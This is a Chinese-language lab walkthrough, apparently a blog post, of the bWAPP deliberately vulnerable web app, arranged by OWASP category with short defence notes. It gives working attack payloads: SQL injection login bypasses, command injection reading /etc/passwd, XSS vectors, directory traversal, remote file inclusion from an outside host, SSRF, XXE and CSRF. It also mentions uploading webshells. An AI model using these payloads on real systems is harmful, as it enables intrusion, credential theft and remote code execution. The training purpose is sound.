• bWAPP攻略


    0x00、平台介绍

    按照OWASP排序

    0x01A1-Injuction(注入)

    Low级别:不经过任何处理的接收用户数据

    Medium级别:黑名单机制,转义了部分危险数据

    High级别:全部转义,或者白名单机制

    1.1 HTML Injection-Reflected(GET,POST)

    Low

    Payload: <a href=”https://www.baidu.com”>baidu</a>

    Mediu

    Payload: %3ca+href%3d%27https%3a%2f%2fwww.baidu.com%27%3ebaidu%3c%2fa%3e

    1.2 HTML Injection-Reflected(Current URL)

    Payload和以上相同,只是注入点不同

    由于url中输入自动转义成urlcode,在burp中还原成原始字符即可

    1.3 HTML Injection-Stored(Blog)

    Payload和以上相同,只是注入点不同

    存储型注入,可以把urlxss写进数据库

    1.4 iFrame Injection

    直接通过http访问ParamUrl中的参数

    Low

    Payload:  ?ParamUrl=https://www.baidu.com&ParamWidth=250&ParamHeight=250

    1.5 OS Command Injection

    回显输入的网址的dns解析,使用管道符跳过限制

    Low

    Payload: Windows|ipconfig Linux;cat /eta/passwd

    1.6 OS Command Injection-Blind

    无回显,只能使用不需要回显的命令

    1.7 PHP code Injection

    把任意输入参数当做PHP代码执行,可直接菜刀连之

    Low

    Payload:  ?message=phpinfo();

    1.8 SQL InjectionGET/POST/Search

    这里都是明显的SQL注入漏洞,sqlmap随便跑

    Sql语句猜测:

    SELECT * from movies WHERE title like '%$_GET[“title”]%';

    Low

    Payload:  s' or 'a'='a'--

    1.9 SQL InjectionGET/POST/Select

    只能回显一行,不影响

    Sql语句猜测:

    SELECT * from movies WHERE id = $_GET[“movie”];

    Low

    Payload:  ?movie=5%20or%201=1&action=go

    1.10 SQL Injection (Login Form/Hero)

    万能密码

    Sql语句猜测:

    SELECT * FROM heroes WHERE login= $_POST[“login”] and `password` =  $_POST[“password”];

    Low

    Payload:  login=test' or 'a'='a'--

    1.11 SQL Injection (Login Form/Users)

    不知道账号密码登陆

    略复杂,审计源码发现是先$row=SELECT * FROM heroes WHERE login= $_GET[“login”]

    再判断$row["login"] && $password == $row["password"]

    $row必须为一个数组,才能进行下一步判断,另外密码为sha1加密过的

    Low:

    Payload:

    login=test' UNION SELECT 1,2,'77de68daecd823babbb58edb1c8e14d7106e83bb',4,5,6,7,8,9-- &pawword=3

    1.12 SQL Injection (SQLite)

    Mysql换成了sqlite,只是些sql语句写法变了

    1.13 SQL Injection - Stored (Blog)

    存储型,可以写xssurl等等

    Low:

    Payload: <script>alert(1)</script>

    1.14 SQL Injection - Stored (User-Agent)

    会将User-Agent中的值存入数据库,使用burp改改User-Agent就行

    1.15 SQL Injection - Stored (XML)

    1.16 XML/XPath Injection (Login Form)

    万能密码

    XPath语句:

    /heroes/hero[login=' $_GET[“login”]' and password=' $_GET[“password”]’

    Low:

    Payload:?login=%27+or+%271%27%3D%271&password=%27+or+%271%27%3D%271&form=submit

    1.17 XML/XPath Injection (Search)

    Xpath语句:

    //hero[contains(genre, $_GET["genre"])]/movie

    1.18 防护

    Html/xss注入:白名单+所有输入转义为htmlcode

    命令注入:白名单

    Sql注入:ORM或者占位符

    0x02A2-Broken Auth&Session Mgmt(失效的身份认证和会话管理)

    2.1 Broken Auth. - CAPTCHA Bypassing

    爆破即可,验证码每次提交不变

    2.2 Broken Auth. - Insecure Login Forms

    Low:

    这个账号密码直接在网页源码中,审查一下即可

    Medium:

    JSunlock_secret()里面搞了个密码表,对照一下即可找出

    High:

    密码直接提示出来了,没太懂这题的意思

    2.3 Broken Auth. - Logout Management

    Low:

    只是跳转到登陆页面,实际没清session

    2.4 Broken Auth. - Password Attacks

    连验证码都没有了,直接爆破即可

    2.5 Broken Auth. - Weak Passwords

    弱口令,爆破更简单

    2.6 Session Mgmt. - Administrative Portals

    更改自己的权限

    Low:

    Payload: ?admin=1

    Medium:

    Payload: Cookies: admin=1

    High:

    写到session中了,看起来挺安全了

    2.7 Session Mgmt. - Cookies (HTTPOnly)

    cookies设置httponly,防止js获取cooikes

    2.8 Session Mgmt. - Session ID in URL

    Session id出现在url中了

    2.9 防护

    密码防爆破:高复杂度密码+每次都变的验证码+限制单IP登陆频率

    Session防护:不能明文暴露、httponly防劫持、登出清理cooikes

    0x03A3 - Cross-Site Scripting (XSS)

    Low级别:不经过任何处理的接收用户数据

    Medium级别:黑名单机制,转义了部分危险数据

    High级别:全部转义,通常框架会帮你做转义

    3.1 XSS - Reflected (GET/POST/JSON)

    这几种方式只是提交数据的方法不通

    Low:

    Payload: <script>alert(1)</script>

    Medium:

    Payload: <img src=a.png onerror=alert(/xss/)>

    3.2 XSS - Reflected (Back Button)

    Lowmedium:

    Payload: Referer '"><img src=a.png onerror=alert(/xss/)>

    3.3 XSS - Reflected (Eval)

    Lowmedium:

    Payload: ?date=alert(1)

    3.4 XSS - Reflected (HREF)

    Low:

    Payload: /><img src=a.png onerror=alert(1)>

    3.5 防护

    其实还有很多题,但只是提交方法、插入位置不同

    XSS防护:对输入过滤,对输出编码

    富文本编辑器使用白名单过滤,黑名单很容易被绕过

    通常框架都都会把输出做htmlencode

    Cookies : httponly=Truesession劫持

    0x04A4 - Insecure Direct Object References(不安全的对象直接引用)

    4.1 Insecure DOR (Change Secret)

    Low:

    <input type="hidden" name="login" value="bee">

    修改value中的用户名就可以修改别的用户的密码了

    4.2 Insecure DOR (Reset Secret)

    Lowmediumhigh:

    Js中的ResetSecret()可以看到用户名,修改就可以重置别的用户的密码了

    4.3 Insecure DOR (Order Tickets)

    Low:

    ticket_pricevalue可以直接在html代码中修改

    4.4 防护

    本章主要算是逻辑漏洞

    修改/重置密码时,验证用户身份使用session+用户名密码

    不需要用户发送的数据要在后端生成

    0x05A5-Security Misconfiguration(安全误配置)

    办公室电脑装不了虚拟机,很多都搞不了(环境要搭在虚拟机里,还需要kali

    5.1 Man-in-the-Middle Attack (HTTP)

    用户名密码明文传输

    5.2 Robots File

    敏感文件暴露在robots.txt文件中

    5.3 防护

    使用https建立安全隧道,可防止中间人劫持数据

    不要在robots.txt暴露敏感文件

    0x06A6 - Sensitive Data Exposure(敏感数据泄露)

    6.1 Base64 Encoding (Secret)

    Low:

    Cookies中有密码,通过Base64解密即可

    6.2 Clear Text HTTP (Credentials)

    Low

    密码明文传输

    6.3 Text Files (Accounts)

    Low:

    明文存储

    Medium:

    密码为sha1加密,简单的密码会被爆破

    6.4 防护

    敏感数据,特别是密码使用https传输或者加密传输(RSA),存储使用md5(md5+salt)的方式存储

    0x07A7 - Missing Functional Level Access Control (应用层访问控制缺失)

    7.1 Directory Traversal - Directories

    Low

    Payload: ?directory=../ 可以访问任意目录

    Medium:

    Payload: ?directory=images 过滤了一些符号,可以通过猜解的方式

    7.2 Directory Traversal - Files

    Low

    Payload: ?page=666  

    ../INSTALL.txt  猜解文件名,也可访问上层目录文件

    Medium:

    Payload: ?page=66 限制了访问上层目录

    7.3 Remote & Local File Inclusion (RFI/LFI)(远程/本地文件包含)

    Language参数后可以执行任意本地/远程文件,基本上什么都能搞了

    Low

    本地文件直接执行

    Payload: ?language=666&action=go

    远程文件包含

    Payload: ?language=http://phpcode.applinzi.com/phpzzz&action=go

    Medium:

    本地在文件名后面加上.php执行

    Payload: ?language=aim&action=go

    7.4 Restrict Device Access

    Lowmediumhigh

    User-agent换成手机的头

    7.5 Server Side Request Forgery (SSRF)

    经典的SSRF漏洞利用,可以攻击内网

    利用http://127.0.0.1/bWAPP/rlfi.php?language=lang_en.php&action=go

    Low:

    ?ip=127.0.0.1&language=../evil/ssrf-1.txt&action=go

    ?ip=127.0.0.1&language=http://127.0.0.1/evil/ssrf-1.txt&action=go

    7.6 XML External Entity Attacks (XXE)

    Xml外部实体攻击

    Low:

    SYSTEM可以执行任意代码

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE root [

    <!ENTITY popped SYSTEM "http://127.0.0.1/bWAPP/666">

    ]>

    <reset><login>&popped;</login><secret>Any bugs?</secret></reset>

    7.7 防护

    使用白名单限制文件访问

    禁止XML外部实体

    过滤返回信息来防护SSRF

    0x08A8 - Cross-Site Request Forgery (CSRF) (跨站请求伪造CSRF

    8.1 CSRF (Transfer Amount)

    自己制作一个钓鱼网站,把会产生扣款操作的url插入到在自己的网站中,然后把网址发到受害者,受害者访问即可触发扣款操作

    <img src= “http://127.0.0.1/bWAPP/csrf_2.php?account=123-45678-90&amount=1&action=transfer”>

    8.2 防护

    CSRF攻击的一个大体流程,伪造一个请求链接,发送给受害者,受害者点击后请求被执行,前提是存在CSRF漏洞的浏览器cookie还没有过期,如果过期了是没有用的。

    通常的防护做法是在提交表单的时候加上隐藏字段csrftoken(随机值,每次发送都会改变)一起发送到后端,后端收到后和cookies中的csrftoken对比(AJAX请求时就需要从cookies中获取csrftoken),一致才认为有效访问。这样做仍有可能被利用,最好的方式是将csrftoken存放在session

    0x09A9 - Using Known Vulnerable Components(应用已知脆弱性的组件)

    9.1 PHP Eval Function

    源码审计,直接使用了eval函数

    Payload: ?eval=phpinfo();

    9.2 防护

    本章主要是已知的各种致命漏洞的利用

    针对不同的漏洞利用升级版本等方式来修补

    0x0aA10 - Unvalidated Redirects & Forwards (未验证的重定向转发)

    这个没想到好的利用方式

    0x0b、其他

    11.1 Unrestricted File Upload

    上传漏洞可直接上传大小马

    11.2 防护

    白名单+上传文件名随机修改+限制上传目录(可执行的不可上传、可上传的不可执行)

    0x0c、总结

    简单的玩儿了下平台的漏洞,基本涵盖了大部分的漏洞

  • 相关阅读:
    ffmpeg结构体以及函数介绍(三)
    FFMPEG解码流程(转)
    ffmpeg结构体以及函数介绍(一)
    摄像头视频采集压缩及传输
    bedework文档(开始简单部分)
    【实时数据库PISDK】关于PITime的悲剧
    【项目研究】自动安装并配置ODBC的思路与实现
    【读书笔记】动态链接库
    如何最快测试CPU是大端机还是小端机?
    学习编程的五条捷径
  • 原文地址:https://www.cnblogs.com/cx59244405/p/10750481.html
Copyright © 2020-2023  润新知